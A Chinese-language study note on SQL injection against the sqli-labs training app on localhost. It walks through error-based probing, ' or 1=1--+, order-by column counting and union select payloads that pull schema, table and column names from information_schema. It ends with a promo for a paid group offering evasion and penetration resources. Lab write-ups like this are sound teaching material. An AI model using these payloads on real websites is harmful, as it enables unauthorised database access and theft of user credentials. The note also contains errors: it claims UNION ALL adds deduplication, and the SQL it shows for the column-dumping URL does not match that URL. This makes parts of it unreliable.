sqli学习笔记-02
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
在http://localhost:8888/Less-5/?id=1后面直接添加一个 ‘
,来看一下效果:
报错信息为: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB/MySql server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里大胆推测一下,源代码应该是类似于 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里稍微解释一下这段sql的大体逻辑:查询一个名为 "users" 的数据表。具体地,它是选择该表中所有的列(用 "SELECT *" 表示),并在 WHERE 子句中指定 "id" 列的值为变量 "$id"。最后,使用 "LIMIT 0,1" 子句限制只返回一行数据。
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1
(正常情况下为: '1' LIMIT 0,1
), 多加了一个 ’
。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何 将多余的 ‘ 去掉呢?
尝试 ‘or 1=1--+
可以看到正常返回数据。
此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+
(这里的列数是可以试出来的)的结果显示结果超出。
最后从源代码中分析下为什么会造成注入?
Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+
,直接构 造的 sql 语句就是: SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1
这条语句因 or 1=1 所以为永恒真。
此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all与union的区别是增加了去重的功能。我们这里根据上述background的知识,进行 information_schema 知识的应用。
http://localhost:8888/Less-1/?id=-1'union select 1,2,3 --+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。
爆数据库
http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata--+
此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆 security 数据库的数据表(localhost也可以写为127.0.0.1)
http://localhost:8888/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27--+
此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1
爆users表的列
http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27--+
此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2--+ LIMIT 0,1
Less1-less4 都可以利用上述 union 操作进行注入
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读